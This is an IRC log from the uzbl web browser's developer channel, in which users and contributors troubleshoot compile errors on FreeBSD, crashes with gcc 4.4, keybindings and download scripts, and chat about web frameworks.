18:42 < MichaelRaskin> How does this interact with soup_message_set_chunk_allocator?
18:42 < MichaelRaskin> They do have the code in a branch..
18:45 < MichaelRaskin> Hm.
18:45 < MichaelRaskin> They do not agree whether the code in the branch can be compiled
18:45 < MichaelRaskin> They seem to have deep design issues with it.
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18:54 < rob|> well, that's a fundamental problem of us depending on way too much third party stuff :(
19:05 < MichaelRaskin> Actually, uzbl could have some architecture for filters
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19:05 < MichaelRaskin> A plugin to recognize gzip and unpack it would be trivial
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19:10 < uranther> Dieterbe, I just pushed some documentation typo-fixes.. want me to post to the mailing list?
19:12 < korkadapa> Hi. I've found a bug and I wonder if this is something yuo guys have noticed too. When I visit certain sites the window get's larger than the screensize, so I can't scroll the page as it fits in the window. But I can't see the whole page as the window is bigger than the screen and refuse too change size... Hope you guys understand what I'm talking about :P
19:12 < korkadapa> This one for example: http://www.aftonbladet.se/wendela/barn/article5614279.ab
19:14 < mason-l> korkadapa, Renders almost pixel-for-pixel compared to firefox on my machine.
19:14 < korkadapa> What version of libwebkit are you using?
19:15 < korkadapa> The one from the repos or the git one from AUR?
19:15 < mason-l> Version 1.1.10 of net-libs/webkit-gtk in Gentoo.
19:16 < korkadapa> Ohh... I just assumed you ran arch. Will test that version then.
19:16 < mason-l> And my libsoup is version 2.26.2
19:19 < korkadapa> Do you use the experimental Uzbl branch or the main one?
19:19 < mason-l> Bleeding edge.
19:19 < mason-l> Essentially daily-builds (when there is a change that is).
19:21 < korkadapa> Now I just got segmentation fault.
19:22 < korkadapa> Could it be a problem with x86_64?
19:22 < mason-l> I'm on x86_64
19:23 < korkadapa> What version of gcc do you use?
19:23 < mason-l> 4.3
19:23 < mason-l> 4.3.2-r3
19:23 < korkadapa> That might be it. Will try to downgrade from 4.4.
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19:25 < mason-l> korkadapa, I might not be the best person to query on these things though considering we are on different systems. There are plenty other arch users here. Maybe try manually reinstall all dependencies...? After I upgrade packages on my system I always need to re-build packages I break, it could be as simple as that.
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19:27 < korkadapa> I've already tried that. Update the whole system, install all the depencies from the repos, installed the depencies from source... Don't really know what else to try :-/
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20:38 < s4msung> mhmm.. how can i open a html file from filesystem? file:// ?
20:38 < holizz> s4msung, Yep.
20:38 < s4msung> k, thx :)
20:39 < holizz> s4msung, You can also do "uzbl file://file.html" for things in your current dir because WebKit is sneaky and allows that despite the fact that the spec doesn't.
20:39 < ruskie> file://$PWD/file.html works as well ;)
20:40 < s4msung> holizz: ah, nice to know :)
20:40 < scj> holizz: did not know that, I always did file://$PWD/foo.html
20:40 < s4msung> holizz: thx again :p
20:40 < holizz> s4msung, You're welcome.
20:41 < s4msung> :)
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20:59 < mason-l> holizz, Found another awesomely impressive video, this time hes doing an orchestral performance: http://vimeo.com/2579694
20:59 < s4msung> bind    :getvid _ = sh 'cgetvid "$6" "%s"'
20:59 < s4msung> awesome :o
20:59 < mason-l> /* Note to self: Get smarter */
20:59 < s4msung>  /* no comment */
21:04 < jelly12gen> hi
21:04 < jelly12gen> anyway to cut the url length ?
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21:10 < holizz> jelly12gen, Nope.
21:10 < jelly12gen> hmm
21:10 < jelly12gen> nevermind
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21:24 < jelly12gen> hmm
21:25 < jelly12gen> do scripts need to be approved ?
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21:26 < scj> dieterbe decides what he wants to include in a 'release'
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21:26 < jelly12gen> ok
21:26 < jelly12gen> scj: i have an download script
21:27 < jelly12gen> i only need to do something smart when a there is a download running
21:27 < jelly12gen> and some stuff is failing but dunno why
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21:29 < jelly12gen> running as uzbl -v helps
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22:11 < jelly12gen> hi
22:11 < jelly12gen> scj: are you alive ?
22:11 < scj> barely
22:11 < jelly12gen> O_o
22:11 < scj> the humidity is killing me
22:11 < jelly12gen> hmm go to the basement
22:12 < jelly12gen> now i just forgot what to ask
22:12 < Dieterbe> :))
22:12 < Dieterbe> pwned ;)
22:12 < jelly12gen> scj: do you know a clever way i could fix my script to handle multiple downloads
22:12 < mason-l> Night guys.
22:12 < Dieterbe> wow mason-l you're still up?
22:13 < jelly12gen> Dieterbe: made a nice script for uzbl
22:13 < Dieterbe> mason-l: isn't it so late for you you almost see the sun rise again? ;)
22:13 < mason-l> Yeah, only just. But 04:14 is a bit over-board for me.
22:13 < jelly12gen> http://dpaste.com/77443/
22:13 < mason-l> Dieterbe, Bang on!
22:13 < Dieterbe> ;)
22:14 < scj> jelly12gen: not really. if the statusbar was a webkit view, you could probably do something like downloadstatusbar for ff
22:14 < jelly12gen> scj: er..
22:14 < Dieterbe> jelly12gen: looks cool. you can make wget write it's progress to a file?
22:14 < jelly12gen> Dieterbe: it does that :P
22:14 < jelly12gen> it goes to /tmp/dl_*
22:15 < jelly12gen> also much kudo's for Robert Manea i stole some stuff from him
22:15 < jelly12gen> also from the download.sh script :P
22:15 < jelly12gen> now i want to implement an extension handler and think about multiple downloads
22:15 < scj> extension handler?
22:16 < jelly12gen> for *.torrent
22:16 < scj> don't rely on file extensions
22:16 < jelly12gen> ?
22:16 < jelly12gen> wouldnt it be nifty for users to specify if they want to download or open a file
22:17 < uranther> you can use `file`
22:17 < jelly12gen> damn know i have to think about users
22:17 < jelly12gen> :P
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22:18 < jelly12gen> could add an option what to do with the file after downloading
22:19 < scj> use ~/.mailcap for that
22:19 < jelly12gen> ?
22:19 < scj> jelly12gen: http://linux.die.net/man/4/mailcap
22:20 < jelly12gen> lol .die
22:22 < jelly12gen> scj: well i will put it on my own github
22:22 < jelly12gen> check if it is stable
22:22 < jelly12gen> think for a solution for multiple downloads
22:22 < jelly12gen> then i might add it to the uzbl.org wiki
22:23 < jelly12gen> Dieterbe: can i add arguments to uzbl scripts ?
22:23 < Dieterbe> sure
22:23 < jelly12gen> ah ok
22:24 < jelly12gen> thanks , it's still a nice browser
22:24 < jelly12gen> highly scriptable :D
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22:40 < uranther> Dieterbe, <uranther> Dieterbe, I just pushed some documentation typo-fixes.. want me to post to the mailing list?
22:42 < Dieterbe> well, you still have a merge request pending for http://github.com/uranther/uzbl/tree/experimental so i guess not
22:42 < uranther> k
22:43 < Dieterbe> assuming you did this in the same branch..
22:43 < uranther> yup
22:45 < jelly12gen> hmm the cookie daemon makes uzbl faster then the cookies.py right ?
22:46 < Dieterbe> if you mean the socketless cookie.py then yes
22:46 < jelly12gen> Dieterbe: yeah
22:46 < jelly12gen> ok
22:47 < jelly12gen> checking it out right now
22:47 < kmq> 3C/quitr
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22:52 < jelly12gen> ok i have a simple question
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22:54 < jelly12gen> about the cookie daemon
22:54 < jelly12gen> do i just start ~/.bin/uzbl at start ?
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22:59 < holizz> jelly12gen, If  ~/.bin/uzbl is where you put your cookie_daemon.py, then yes.
23:00 < jelly12gen> i just followed the wiki
23:01 < jelly12gen> holizz: aha i think that the script already launches a cookie daemon
23:01 < jelly12gen> nevermind
23:01 < scj> Dieterbe: talk_to_socket is a needlessly verbose command name
23:02 < jelly12gen> i just start The ~/.bin/uzbl script: at X
23:02 < korkadapa> I'm having some problems with uzbl crashing on certain sites, this is the backtrace from gdb: http://pastebin.com/pastebin.php?dl=m6915f50b . I run uzbl-git from AUR with libwebkit and libsoup from the repo.
23:03 < korkadapa> This is the site it's crashing on: http://www.aftonbladet.se/wendela/barn/article5614279.ab
23:05 < jelly12gen> here too
23:05 < jelly12gen> i saw loads of flash :P
23:05 < scj> korkadapa: x86_64 and compiled with gcc4.4?
23:05 < korkadapa> Yep.
23:05 < korkadapa> Is that the problem?
23:05 < jelly12gen> the same here
23:05 < scj> known bug, use gcc4.3
23:06 < korkadapa> What do I have too compile? libwebkit only?
23:06 < scj> yeah
23:06 < korkadapa> Will do.
23:07 < scj> although, in this instance it's a feature, since it's blocking aftonbladet :p
23:08 < korkadapa> Yeah, just used it as some sort of benchmark as that was the heaviest site I could think of. Wanted to check how stable it was :)
23:10 < Dieterbe> scj: you may be right. feel free to patch
23:11 < scj> Dieterbe: it's best for everyone involved if I don't go near C code :p
23:13 < scj> Dieterbe: I just think the name doesn't follow uzbl's 'naming convetion', if there is such a thing
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23:16 < Dieterbe> uzbl's naming convention comes pretty much down to : $RANDOM, so yes actually it does follow our convention ;)
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23:54 < korkadapa> Just finished compiling with gcc-4.3, now everything works. Thanks scj :)
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02:07 < xerebz> so.. how do i go to a page on uzbl..
02:09 < N30N> xerebz: see the readme
02:14 < xerebz> it has no man page?
02:15 < N30N> xerebz: yup, not yet
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04:11 < jrick> I'm currently getting this error when trying to build the latest master branch on FreeBSD 8.0-BETA2/amd64: http://pastebin.com/ma0bacd4
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05:11 < xerebz> i'm at google.com and i can't input text into the search bar?
05:13 < jrick> you're in command mode, not insert mode
05:14 < xerebz> thanks. and how can i run uzbl without tying up a terminal?
05:14 < jrick> what do you mean?
05:15 < xerebz> if i type uzbl in a command line (i'm using xmonad)
05:15 < xerebz> it'll spawn a new window with uzbl
05:15 < xerebz> but the old terminal will not be able to be used
05:15 < jrick> you can run uzbl &
05:16 < jrick> that will run it as a background process
05:16 < jrick> otherwise, something like XMonad.Prompt.Shell is your friend
05:16 < xerebz> thanks the former works nice
05:16 < xerebz> how do i switch to insert mode??
05:16 < jrick> I'm not sure what the default keybinding is, try i
05:16 < xerebz> or where can i find out how to do all these things
05:17 < xerebz> i doesn't do it
05:17 < xerebz> isn't there no inital keybindings?
05:17 < jrick> well, there should be a file called 'config' somewhere
05:17 < jrick> examples/config/uzbl/config
05:18 < jrick> that should be in /usr/local/uzbl or wherever you installed it
05:18 < jrick> bind    i         = toggle_insert_mode
05:18 < jrick> that's in the default config
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07:14 < mason-l> Behold: http://chipx86.github.com/gtkparasite/
07:14 < mason-l> The Gtk tool to end all tools.
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07:39 < mason-l> jelly12gen made it into the new ArchLinux Magazine's fun section.
07:40 < mason-l> http://www.archlinux.org/static/newsletters/ALM-2009-Aug.html - We should petition the writers to do a write-up on uzbl.
07:40 < mason-l> s/petition/ask/
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08:45 < mason-l> holizz, I found a direct link to those videos if you would like to download them: http://dpaste.com/77631/
08:47 < holizz> Taa.
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09:00 < holizz> Huge files, not going very fast. But that's okay, I'm applying for jobs. Trying to sell myself for a PHP job... gah.
09:00 < mason-l> PHP!? :O
09:01 < mason-l> I'm maxing out at 65kbps on those videos but I've got all day.
09:01 < holizz> inorite? I figure at least if I get an interview I can say "I am aware of PHP's weaknesses" or some other business-friendly phrase.
09:02 < holizz> I'm getting a whole 15kbps more that that.
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09:13 < mason-l> holizz, Have you tried web-development in Pylons?
09:13 < mason-l> Or any other python web-framework?
09:14 < holizz> mason-l, Of the Web frameworks, I've used Rails, TurboGears, and Django.
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09:14 < mason-l> I've used none of those :)
09:15 < holizz> But you've used Pylons, I take it?
09:15 < mason-l> Yeah and love it.
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09:15 < mason-l> It almost feels like it makes everything too easy.
09:16 < mason-l> In my own opinion its worth giving a shot but I don't know how it compares to Django
09:16 < holizz> I'll try it the next time I'm writing a Web app. Does it have an admin interface?
09:17 < mason-l> Nope :)
09:17 < Dieterbe> good morning lads
09:18 < mason-l> It comes with an awesome debugging interface but other than that its a bare-bone framework.
09:18 < mason-l> Framework that just works.
09:18 < mason-l> Dieterbe, Morning.
09:18 < holizz> Ah, that's where TurboGears and Django shine. Admin interfaces are very handy if you need to let noobs access the content of the database.
09:18 < mason-l> That.. sounds handy.
09:19 < mason-l> I've spent the last few months writing an admin back-end for one of my clients web-sites.
09:20 < holizz> I can't imagine that would be fun.
09:20 < mason-l> Yes and no, mostly no.
09:20 < mason-l> I just want to be done with it.
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09:25 < pwlz> Hello!
09:25 < mason-l> pwlz, Hello!
09:25 < pwlz> Dieterbe: Did you forget to push tag 2009.08.08 to github? It is mentioned at uzbl.org, but there is no such tag/branch on github (?)
09:26 < pwlz> Or just /me do not know how to use git? :D
09:26 < Dieterbe> hmmm
09:26 < Dieterbe> i'll have a look, but first check this out : http://distrowatch.com/?newsid=05612 ;)
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09:27 < Dieterbe> lol it looks like you're right
09:27 < pwlz> Dieterbe: ;)
09:28 < Dieterbe> i'll push when i'm home. don't have the code with me here
09:28 < mason-l> Dieterbe, You're famous!
09:29 < holizz> Dieterbe, You announced it? Is that all you did, or does your involvement with Arch go deeper?
09:30 < Dieterbe> i did a lot of work for this. i basically rewrote the complete installer (aif is my project) and did a lot more stuff, together with Gerhard Brauer who was more into the actual build process of the images and such
09:31 < holizz> I see. Very good.
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09:32 < holizz> I like the sound of automated installs. Although I don't really have a use for something like that, it just sounds nice.
09:54 < Dieterbe> i use it as a backup restoration method.  I never backup my entire system, but I do keep a package list in svn, my home and /etc in svn etc
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10:16 < rob|> morning.
10:16 < Dieterbe> hey robman
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10:45 < Dieterbe> hey rob| check http://distrowatch.com/?newsid=05612 ;0
10:46 < rob|> read it already, nice job
10:47 < Dieterbe> thanks
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11:32 < mason-l> Dieterbe, I've sent a pull request to the mailing list.
11:33 < mason-l> Let me know if you have any problems running it, I've done all the testing I can on my end.
11:34 < Dieterbe> ok. i've put it in my todo
11:34 < Dieterbe> but i make no promises when i'll have time to review it.  there lots of older pull requests i need/want to take care of first :(
11:36 < mason-l> Sure thing, brb dinner.
11:37 < Dieterbe> i'm trying to handle pull requests in fifo order even though that may not always be ideal
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18:09 < korkadapa> Hi, could someone explain to me how to pply the patch posted here: http://www.uzbl.org/bugs/index.php?do=details&task_id=47 ? I saved the path from the comments as patchfile and ran "patch uzbl.c patchfile
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18:09 < korkadapa> "
18:09 < korkadapa> But it didn't work... :-/
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18:10 < korkadapa> It's the first time I try to patch something :P
18:11 < uranther> what's the error
18:11 < korkadapa> "patch: **** malformed patch at line 4: gboolean key_ret = FALSE;
18:11 < korkadapa> "
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18:12 < mason-l> korkadapa, The likely reason is that uzbl.c has changed since that guys made the patch.
18:12 < mason-l> korkadapa, Try to find the correct line manually and make the changes yourself.
18:13 < holizz> korkadapa, Or, you could try "git apply", as git patches don't play nicely with patch.
18:14 < korkadapa> Yeah I tried to but I didn't really understand. That part of the code might have been rewritten so I don't recognize it from the patch... Cause only some lines seems to be correct.
18:16 < korkadapa> holizz: Will look that up! :)
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18:17 < uranther> I haven't had problems using patches with git diffs.. but i generally remove the "index" commits on the first line
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18:21 < korkadapa> Git apply didn't work either... Crap. Must have been som changes in uzbl.c then :)
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19:35 < wart__> Hi.  this is a general remark; I have a very resource strapped system (an eeepc 701sd), so I've been able to really notice this sort of thing.
19:35 < wart__> firefox 3.5 loads a simple page (www.drudgereport.com) at about 10-12 seconds; uzbl clocks in at 7-8 and, of all things, opera 10 at 3-4.
19:36 < wart__> I take it opera does not use webkit-gtk?  what magic do they have access to and can we tap into it?
19:37 < Dieterbe> are you spawning new processes for cookie handling?
19:37 < wart__> you mean in uzbl?
19:37 < wart__> i'm using the supplied config file
19:38 < wart__> with disable_plugins=1 as the only addition -- but that page has no flash content anyway.
19:38 < wart__> so yeah it spawns cookie.py
19:39 < wart__> but commenting those out does not have any noticable effect.
19:40 < scj> wart__: you can use the webinspector to check where the time is spent when you load a page
19:50 < uranther> wart__, Opera uses their own proprietary rendering engine.. I don't think you can access any of its magic
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20:02 < wart__> that's too bad.  i had been under the assumption it was open source.
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20:13 < holizz> wart__, Nope. It's called Presto, and very much closed source. Opera has browsers on many kinds of devices including the Wii, DS, and various phones, so they have lots more experience than most browser vendors with performance optimisation. Also, I have a 701SD too. Woop.
20:14 < wart__> holizz: Beautiful device for under 900g.
20:14 < uranther> Opera is second only to IE8 in javascript performance, though :(
20:14 < wart__> esp. in combination with fvwm + tmux + uzbl.
20:14 < uranther> (worst)
20:14 < wart__> yeah, i'm reading through some web articles on the new opera 10 javascript engine.
20:15 < wart__> has anyone tried compiling webkit ins omething other than gtk?
20:17 < wart__> holizz: Also, have you noticed a kind of annoying feature of uzbl: when I load it, it loads in a dimension that is slightly longer than 800x480, i.e. one page in fvwm.  I have to resize it to fullscreen to get the botom 1/3 of uzbl to show up on the page each time I load it.
20:27 < holizz> wart__, Yeah, I find it loads a smaller window, and then awesome resizes it to fill the screen.
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21:17 < jelly12gen> anyone using uzbl and having search engines for AUR , Arch wiki , BBS ?
21:20 < lwithers> wart__, holizz: can't you use the --geometry option to get it to start at the right size for you?
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21:52 < holizz> lwithers, Haven't tried.
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22:22 < wart__> fwiw: uzbl -g 10x20 (or anything) doesn't change the geometry, although +30-20 (or whatever) cchanges the location.
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00:30 < holizz> mason-l, It crashed again!
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00:32 < holizz> mason-l, Ignore that, it was running an old version.
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01:39 < korkadapa> Hi. Setting "set always_insert_mode = 1" should be enought to start uzbl in input mode instead of command mode right?
01:40 < korkadapa> 'Cause I can't get it to work. :-/
01:40 < holizz> korkadapa, Should work.
01:41 < korkadapa> Now, it starts in command mode, but if I press "i" to put it in input mode it stays there.
01:41 < korkadapa> So it's almost working as it should.
01:42 < holizz> Oh, I can reproduce. This is a regression.
01:45 < korkadapa> My english isn't what it should be. What does regression mean? :)
01:48 < holizz> Regression is where something used to work, but now it doesn't.
01:48 < korkadapa> I understand.
01:49 < holizz> :)
01:50 < korkadapa> Should I file some sort of bug report or should I contact any of the programmers here in IRC or what? Would love to get this fixed :)
01:52 < holizz> Filing a bug report is probably the best idea. But you could see if anyboody's free - it should be simple to fix. I'd do it, only I'm going to bed now.
01:53 < korkadapa> I'll file a bug report then. Thanks for your help :)
01:54 < holizz> No problem.
01:54 < holizz> Good night.
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04:34 < uranther> http://bbs.archlinux.org/viewtopic.php?id=77680 :)
04:38 < Rodya> :D
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05:11 < jrick> I'm having problems building the latest master branch on freebsd: http://pastebin.com/m7a556909
05:11 < jrick> can anyone help?
05:11 < jrick> I get the same error when using gmake as opposed to bsd make
05:12 < jrick> I asked last night, but no answer :(
05:21 < uranther> it looks like you don't have the right header files #include'd
05:21 < uranther> can you `man snprintf` ?
05:21 < jrick> yes
05:21 < jrick> do you want to see the output?
05:21 < uranther> what header file does it say?
05:22 < uranther> sure
05:22 < jrick> I'm not sure what you mean
05:22 < jrick> http://www.freebsd.org/cgi/man.cgi?query=snprintf&apropos=0&sektion=0&manpath=FreeBSD+8-current&format=html
05:23 < uranther> k
05:25 < uranther> that's pretty strange. :/
05:28 < jrick> actually, it looks like that website has an older version of that manpage
05:30 < uranther> yeah, i'm thinking, these functions may be deprecated on your system
05:30 < uranther> err they are
05:30 < uranther> but, FreeBSD may not be including them as a result
05:31 < jrick> http://pastebin.com/m49f887cc
05:31 < jrick> I'm on -CURRENT as of August 8
05:32 < uranther> k, try adding -D_WITH_DPRINTF to your makefile
05:33 < jrick> in CFLAGS?
05:33 < uranther> mhmm
05:34 < jrick> nope
05:34 < jrick> same problem
05:35 < uranther> er
05:35 < uranther> "  The implementation will behave as if no library function calls strtok()." from FreeBSD manpage of strtok_r
05:35 < uranther> we should be using the portable GLib string functions :S
05:38 < jrick> I'm not sure if this is in the version you're reading, but at the top of mine under DESCRIPTION, it says: This interface is obsoleted by strsep(3).
05:40 < uranther> ETIMEDOUT should be defined in errno.h on your system
05:40 < uranther> yeah
05:40 < uranther> FreeBSD makes up these functions like strlcpy
05:40 < uranther> they are better... but not for portability
05:41 < uranther> did you get the itos() warning when you compiled with -D_WITH_DPRINTF ?
05:41 < jrick> yes
05:42 < uranther> strange
05:42 < uranther> itos() should be removed anyways.. I've been meaning to do that
05:42 < uranther> that functions blows :P
05:42 < uranther> -s
05:44 < uranther> jrick, I'm not sure what to do for you at this point. Did you submit a bug report? I don't have FreeBSD installed
05:44 < jrick> no, I haven't done anything about it other than tell this channel
05:45 < uranther> submit one.. having "master" not compile on FreeBSD is pretty bad
05:49 < jrick> how can I get the revision number for this version from git?
05:50 < uranther> uzbl -V will give you the commit hash
05:50 < jrick> I don't have a uzbl binary
05:51 < uranther> oh duh lol
05:51 < jrick> lol
05:52 < uranther> From the Makefile:
05:52 < uranther> git log | head -n1 | sed "s/.* //"
05:52 < jrick> ok
05:55 < jrick> hah, under Operating System, I have a choice of Windows, Linux, or Mac
05:55 < uranther> lol :x
05:56  * uranther gets to hacking
05:58 < jrick> http://www.uzbl.org/bugs/index.php?do=details&task_id=89
06:00 < uranther> cool
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06:23 < uranther> Removed itos():  2 files changed, 27 insertions(+), 50 deletions(-)
06:23 < uranther> yay
06:26 < jrick> ok, how can I get that code?
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06:29 < uranther> jrick, h/o
06:29 < jrick> ok
06:31 < uranther> jrick, http://gist.github.com/165633
06:34 < jrick> well, the itos() warnings are gone, but I'm still getting the ETIMEDOUT errors
06:37 < uranther> what does your man errno look like?
06:37 < jrick> it points to intro(2)
06:39 < jrick> http://www.freebsd.org/cgi/man.cgi?query=errno&apropos=0&sektion=0&manpath=FreeBSD+7.2-RELEASE&format=html
06:39 < jrick> that's RELENG_7 though
06:39 < uranther> you're on 8?
06:39 < jrick> yeah
06:40 < jrick> it doesn't look like they have the RELENG_8 manpages up yet
06:40 < jrick> the ones under -CURRENT are all very old
06:40 < uranther> oh
06:40 < uranther> can you pastebin yours
06:40 < jrick> sure
06:41 < jrick> http://pastebin.com/f44a1336d
06:42 < jrick> wow, that failed
06:42 < uranther> oh i see
06:42 < uranther> they moved it to sys/errno.h
06:42 < uranther> bastards
06:43 < jrick> ok, apparently piping a manpage isn't a good idea :P
06:45 < uranther> my system has sys/errno.h which is just #include <errno.h> heh
06:45 < uranther> I'm not sure if all systems have this
06:49 < uranther> jrick, http://gist.github.com/165636
06:49 < uranther> ok.. the next one may be harder.. heh
06:50 < jrick> haha
06:52 < jrick> I don't have a test-functional.c file
06:53 < jrick> and I'm still getting the same build errors
06:54 < jrick> http://pastebin.com/m2b1e4c41
06:55 < uranther> oh yeah.. forgot that hasn't been pulled in yet
06:55 < uranther> you can delete that from your .diff file
06:58 < jrick> I just ignored that patch
07:00 < uranther> so down to one warning now on strtok_r, right?
07:01 < jrick> no, still those errors about ETIMEDOUT
07:02 < uranther> so what does `grep errno.h uzbl.c` say?
07:02 < jrick> #include <sys/errno.h>
07:04 < jrick> diff /usr/include/errno.h /usr/include/sys/errno.h doesn't show any differences between the two
07:04 < uranther> wth :/
07:04 < jrick> it's probably a hard link
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07:09 < uranther> jrick, find /usr/include -name errno.h
07:09 < jrick> just those two
07:09 < uranther> i have a billion errno.h's :P
07:10 < uranther> find /usr/include -name errno.h -exec grep ETIMEDOUT {} \;
07:10 < uranther> actually, only 6 ;P
07:12 < jrick> [1:10][joshua@FGD135] % find /usr/include -name errno.h -exec grep ETIMEDOUT {} \;
07:12 < jrick> #define ETIMEDOUT       60              /* Operation timed out */
07:12 < jrick> #define ETIMEDOUT       60              /* Operation timed out */
07:12 < uranther> can you paste errno.h
07:12 < jrick> sure
07:12 < jrick> http://pastebin.com/f44a6108c
07:14 < uranther> i don't get it... should work fine
07:18 < jrick> well, I just put that #define line in uzbl.c, and it compiled now
07:18 < jrick> I still got some warnings about strtok_r though
07:19 < jrick> ok, that's really weird
07:22 < uranther> http://gist.github.com/165647
07:23 < jrick> yep, that fixes it
07:23 < jrick> thanks for all your help!
07:24 < uranther> np
07:24 < jrick> I wonder if that errno.h thing is a freebsd bug
07:24 < uranther> does it still compile with warnings?
07:24 < jrick> nope
07:24 < uranther> ok
07:24 < uranther> doubt it's a bug
07:25 < uranther> i'm glad I refactored this code.. it was really messy :x
07:26 < jrick> I wish I knew C :(
07:26 < jrick> I know Java, but it's just different enough from C to confuse me :)
07:28 < uranther> Java :(
07:30 < jrick> I spent forever today trying to figure out what -> meant in C
07:30 < jrick> my guess is that it has to be like a pointer for a scruct
07:31 < uranther> lol yea
07:31 < jrick> ok sweet
07:31 < uranther> so if you have a struct { int something; } you can access it like somestruct.something
07:31 < uranther> if it's int * something, you can use the shorthand somestruct->something
07:31 < jrick> what does the * mean?
07:31 < uranther> pointer
07:32 < pwlz> uranther: if it is struct *, not int * something!!!
07:32 < uranther> now i have to write a unit test for this patch... I don't even know how to test it manually
07:32 < uranther> oh yeah that's what i meant :x
07:34 < uranther> I suppose I was thinking of a linked list.. where you do have struct * next;
07:37 < jrick> awesome, it looks like all of the default scripts except load_url_from_bookmarks.sh uses /bin/sh instead of bash
07:39 < uranther> :/ I'm not so good at bash/sh or about knowing the implementation differences
07:41 < jrick> actually, it seems to work fine with sh
07:41 < ruskie> [[ ]], quoting when testing, various variable operations
07:41 < ruskie> probably others as well
07:41 < ruskie> jrick, which sh...
07:41 < ruskie> it could be just a ln -s bash sh
07:41 < jrick> ruskie: I'm on freebsd, sh is real sh
07:42 < ruskie> ahhh
07:42 < jrick> ok, time to update my config to the latest
07:42 < jrick> vimdiff rocks
07:43 < ruskie> lol
07:43 < ruskie> I just pick what I need from the new one and don't touch the rest ;)
07:45 < uranther> apparently set icon = $XDG_DATA_DIR/uzbl/uzbl.png got nuked from the config file?
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08:23 < uranther> jrick, be warned that last patch isn't correct.. I accidentally introduced a double free.. I'm writing a unit test now
08:26 < jrick> well, it patched fine
08:26 < jrick> and I don't get any compile errors or warnings
08:27 < uranther> the function I changed doesn't get used but in a special case so I don't think you have much to worry about
08:28 < jrick> what's the special case?
08:30 < uranther> trying to figure that out... I don't think the case it is used will ever happen but I'm not sure
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08:32 < uranther> it tests if pass an empty value to -c
08:33 < uranther> sup holizz
08:33 < holizz> uranther, Yo.
08:38 < jrick> hmm, well I'm off to bed
08:38 < jrick> night :)
08:40 < uranther> gnite
08:40 < uranther> holizz, can you read C?
08:40 < holizz> uranther, Sure.
08:41 < uranther> check out line ~2553 in uzbl.c
08:41 < uranther> where it calls find_xdg_file()
08:41 < uranther> so... how do i trigger the condition !s->config_file ? :P
08:43 < uranther> even if you pass -c "", it will just be an empty var which !s->config_file isn't sufficient to check for since config_file is a gchar *
08:44 < uranther> config_file will never be NULL amirite
08:45 < uranther> unless done so programmatically
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08:52 < holizz> Hmm. Indeed. C != Python.
08:53 < uranther> lol
08:53 < uranther> I've encountered this before
08:53 < uranther> impossible conditions
08:53 < uranther> except this one calls an entire function which doesn't get used anywhere else
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09:05 < holizz> uranther, Actually, it does seem to do something.
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09:06 < holizz> Stick a printf in there and see.
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09:15 < uranther> i tried that.. maybe i didn't try hard enough
09:15 < uranther> is it possible they meant "if" instead of "else if" ?
09:16 < uranther> holizz, how did you get it to print something?
09:16 < holizz> No, else if is correct. Because in the if part, it sets s->config_file to NULL.
09:16 < holizz> ./uzbl -c something, ./uzbl
09:17 < uranther> ah ok
09:19 < uranther> whoa, does loading uzbl.org resize uzbl on you?
09:21 < Dieterbe> morning bitch... i mean ladies
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09:23 < uranther> sup Dieterbe
09:24 < holizz> uranther, Nope.
09:24 < holizz> Hello.
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09:28 < Dieterbe> uranther: soup
09:29 < Dieterbe> jelly12gen> anyone using uzbl and having search engines for AUR , Arch wiki , BBS ? <-- look at barrucadu's config on the wiki
09:30 < uranther> Dieterbe, struggling with uzbl atm although I did clean some code up
09:36 < uranther> Dieterbe, contributors should be discouraged from using string.h for the sake of portability. GLib has all that stuff taken care of for us
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13:45 < mason-l> Evening guys.
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13:50 < holizz> Hi.
13:50 < mason-l> Hey
13:50 < mason-l> holizz, Do you watch much TED-Talks?
13:51 < holizz> Nope. Only seen one or two ever.
13:51 < mason-l> I'm enjoying this talk: http://www.ted.com/talks/elaine_morgan_says_we_evolved_from_aquatic_apes.html completely blew my mind, although all speculation.
13:51 < Dieterbe> evening mason-l 
13:51 < mason-l> Evening Dieterbe.
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15:32 < mateusz> hi, anyone knows how to use ctrl key in uzbl config?
15:33 < thorben> or middle mouse for that matter?
15:33 < mateusz> i'd like to bind ctrl+j to scroll down
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15:33 < mason-l> thorben, Is this what you are looking for? http://www.uzbl.org/wiki/middle_click_links
15:37 < scj> mateusz: you have to enter the actual control character into your config file. open it in vim, type 'bind CTRL-V CTRL-j = scroll_vert 90%'
15:38 < mateusz> ok but why ctrl-v ?
15:39 < holizz> mateusz, That's just the command in vim.
15:40 < mateusz> ah, ok
15:42 < scj> but it looks like ^j doesn't work, it just makes my statusbar multiline
15:42 < mateusz> CTRL-V switches to visual mode in my vim
15:43 < holizz> mateusz, Use Ctrl-v in insert mode.
15:43 < mateusz> seems to do sth, let me check this
15:44 < scj> mateusz: in vim, :help i_ctrl-v
15:44 < mateusz> yes, I got the vim side
15:44 < mateusz> thanks
15:44 < mateusz> still
15:44 < mateusz> uzbl core dump
15:44 < scj> didn't DuClare start working on the keychar symbols?
15:45 < mateusz> I entered bind ^@ = scroll_vert 90% on last line in sample config
15:46 < mateusz> and I get an error (Polish) so I cannot tell in english how is the exact error string
15:46 < mateusz> however it says sth about illegal access to memory
15:47 < scj> mateusz: oh :(
15:47 < mateusz> if I only could use gdb ;)
15:48 < scj> mateusz: http://www.uzbl.org/wiki/debugging_crashes
15:48 < mateusz> that's great
15:48 < mateusz> does the exe has debugging symbols?
15:49 < scj> rtfw ;)
15:50 < mateusz> ok, sorry
15:50 < Dieterbe> wut? exe?
15:50 < mateusz> exe as executable
15:55 < mateusz> ok, would the output be useful for anyone?
15:56 < mateusz> it's here: http://pastebin.com/mb6cf68a
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15:59 < holizz> mateusz, That's nice, we only use g_strchug in two places.
16:00 < mateusz> I can try to src debug
16:00 < mateusz> not only run
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16:02 < mateusz> still I'm new to gdb, so it may take some time
16:03 < mateusz> is uzbl-git in arch equal to dieter-master branch?
16:04 < holizz> mateusz, I think it is, yes.
16:04 < holizz> You can add "checkout experimental" somewhere in the PKGBUILD.
16:05 < mateusz> I'd prefer to debug stable release
16:07 < holizz> Haha, I don't think uzbl does "stable".
16:08 < mateusz> still release seems more stable then experimental ;)
16:10 < mateusz> ok, I hit the function
16:10 < mateusz> now I need to check where am I and what parameters are to be used
16:12 < Dieterbe> actually there is a uzbl-experimental-git aswell
16:13 < mateusz> if I find the bug then I can check whether it is also in experimental, but for now I'm working on uzbl-git
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16:15 < thorben> mason-l: thanks...
16:17 < mateusz> anyone using gdb can tell me why list only displays uzbl.c, not the actual source code?
16:17 < mateusz> I reinstalled uzbl without stripping source code
16:21 < ruskie> stripping does not strip the source code
16:21 < ruskie> it strips the symbols
